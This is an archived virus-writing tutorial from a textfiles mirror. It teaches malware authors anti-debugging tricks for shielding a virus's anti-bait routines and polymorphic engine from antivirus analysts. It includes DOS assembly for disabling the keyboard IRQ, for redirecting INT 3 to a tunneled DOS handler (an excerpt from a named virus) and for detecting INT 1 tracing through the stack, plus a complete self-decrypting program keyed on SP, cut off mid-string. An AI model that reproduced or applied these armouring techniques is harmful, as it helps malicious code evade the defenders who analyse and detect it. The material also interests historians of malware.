💾 Archived View for spam.works › mirrors › textfiles › virus › adebgtut.txt captured on 2023-06-16 at 21:00:45.
-=-=-=-=-=-=-
Anti-Debugger Techniques ~~~~~~~~~~~~~~~~~~~~~~~~ -THE-MASTER-HIDES-BEHIND-THE-MASK- Ok, now the AV can not even get your virus to infect their bait files, and if they do finally manage, they will have great problems in getting a complete, accurate view of what they are dealing with. There is two things they can do: 1. Disassemble your Anti-Bait code, and create a Bait maker to fool it. 2. Disassemble your Polymorphic engine, and work out what to look for. Both of the above can be defeated by using Anti-Debugger Techniques. The first is defeated by keeping your Anti - Bait routines encrypted, and heavilly armoured, to prevent disassembly. The second can be defeated by using the same methods on your polymorphic engine. This section has been designed to tell you how to do it. Anti-Debugger Techniques: The Obvious ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ There are many simple and trivial ways to thwart debuggers. This document will deal mainly with more advanced methods. The simple methods outlined in this section can be seen in the code example of "Using Your Anti-Debug Routines as the Decryption Key", later on in this document. Perhaps the most obvious way to kill a debugger, is to overwrite the Interrupt Vector of Interrupts 1 (Debug Single Step), and 3 (Debug Break Point). This can be defeated by simply skipping the instructions. Another thing you could do, is place an INT 3 in a long loop, which will cause the debugger to stop at the INT 3 each iteration, which will stop the AV from simply proceeding through the loop. This is very easilly defeated by NOP'ing out the INT 3. Another thing to do, is turn of the keyboard. There are manyways to do this, but the simplest is: IN AL,20h ;Turn of Keyboard IRQ OR AL,02 OUT AL,20 <virus code> IN AL,20 ;Enable Keyboard IRQ AND AL,NOT 2 OUT AL,20 Anti-Debugger Techniques: Interrupt Replacement ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This technique involves replacing the vector of a INTERRUPT 1/3 with the interrupt off another interrupt, and calling that instead. This works especially well with INT 3, as it is only 1 byte long, and can not simply be replaced with the proper Interrupt. Here is an example of INT replacement from the virus [H8urNMEs]. It changes INT 3 to point to the tunneled INT 21, and calls INT 3 for all DOS requests: ------------------------------------------------------------------------ mov ax,3503 int 21 mov int_3_seg,es mov int_3_off,bx lds dx, site_traced_off mov ax,2503 int 21 mov ds,cs mov ax,3524 int 3 mov int_24_seg,es mov int_24_off,bx ------------------------------------------------------------------------ It simply makes INT 3 point to DOS, and uses this fact to fetch the INT 24 vector. Anti-Debugger Techniques: INT 1 Tracing Destroys the Stack ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ When tracing through code, with INT 1, the 6 bytes below SP are overwritten with the pushed returnig IP, CS, and Flags. There are 2 ways to take advantage of this fact. The first is to PUSH a value on to the stack, POP it, and then adjust SP and POP it again to see if it changes. If it has, the code has been traced. Here is an example: ------------------------------------------------------------------------ PUSH AX POP AX DEC SP DEC SP POP BX ;BX should point to the pushed AX. CMP AX,BX JNE CODE_IS_TRACED ------------------------------------------------------------------------ The second way is to store a critigal value like a Decryption key in SP. This value should also point to the code, and you should NOT use any stack operations. This way, if a debugger is running, the code that SP points to will be overwritten. Here is a complete program to illustrate it. To make it run properly, you must have to encrypt it. I will not how you how.. If you can not work it out you should not even be reading this. It also has the added advantage of avoiding the TBAV '#' (decryptor) flag. Any way here it is: ------------------------------------------------------------------------ ;STACK.ASM radix 16 elength equ (end - estart)/2 org 100 mov bp,sp cli mov sp,estart sti mov bx,sp mov cx,elength eloop: xor cs:[bx],sp ;SP is decryption key. inc bx inc bx ;If a Debugger is running, cli ;All the code after ESTART will be add sp,6 ;overwritten. sti loop eloop estart: cli mov sp,bp sti mov ah,9 mov dx,offset msg - 12 add dx,12 int 21 mov ah,4c int 21 msg db 'Yeah!!